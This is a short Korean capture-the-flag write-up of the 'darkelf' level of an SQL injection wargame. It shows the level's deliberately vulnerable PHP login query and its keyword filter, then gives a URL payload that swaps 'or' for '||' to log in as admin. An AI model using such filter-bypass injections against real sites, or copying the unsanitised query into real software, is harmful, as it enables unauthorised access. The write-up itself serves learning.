[LOS] darkelf

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

제시된 코드

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if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 

prob, _, ., (, ) 입력 -> "No Hack ~_~"

if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");

or, and 문자 입력 -> "HeHe"

$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";

pw를 그대로 입력받아 취약 -> sqli 가능

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논리연산자 or and 우회

or = || (URI 인코딩 값 - %7c%7c)
and = && (URI 인코딩 값 - %26%26)

' || id='admin 을 url에 입력해줬다.

/?pw=%27%20||%20id=%27admin -> 인코딩된 값